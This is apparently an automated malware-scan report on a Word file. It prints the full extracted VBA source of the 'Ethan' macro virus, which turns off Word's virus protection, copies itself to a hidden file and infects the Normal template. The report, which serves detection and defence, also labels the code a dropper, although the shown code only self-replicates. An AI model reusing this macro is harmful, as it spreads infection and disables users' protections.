MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros that, upon execution, copy their own code to 'c:\ethan.___' and then attempt to execute it. This behavior is indicative of a downloader or dropper mechanism. The ClamAV detection of 'Win.Trojan.Pivis-2' and 'Win.Trojan.C-286' further supports a malicious classification.
Heuristics 2
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7310 bytes |
SHA-256: 6c8c045c7536a39192c05b4f29415f280dda93b294448cff4a8cec5267c7a6dc |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
'----------------------------------------------------------------------------------------------
Randomize
'----------------------------------------------------------------------------------------------
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then
GoTo q
End If
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
End If
q:
Close #1
'----------------------------------------------------------------------------------------------
If Rnd < 0.3 Then
With Dialogs(wdDialogFileSummaryInfo)
.Title = "Ethan Frome"
.Author = "EW/LN/CB"
.Keywords = "Ethan"
.Execute
End With
End If
'----------------------------------------------------------------------------------------------
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then
ActiveDocument.Saved = s
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/66593193772c4b8e9244a2d1e0cc95f6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8551 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' Line #5:
' LitVarSpecial (False)
' MemStWith ConfirmConversions
' Line #6:
' LitVarSpecial (False)
' MemStWith VirusProtection
' Line #7:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' Line #8:
' EndWith
' Line #9:
' QuoteRem 0x0000 0x005E "----------------------------------------------------------------------------------------------"
' Line #10:
' ArgsCall Read 0x0000
' Line #11:
' QuoteRem 0x0000 0x005E "----------------------------------------------------------------------------------------------"
' Line #12:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #13:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #14:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #15:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #16:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #17:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #18:
' LitDI2 0x0001
' Sharp
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.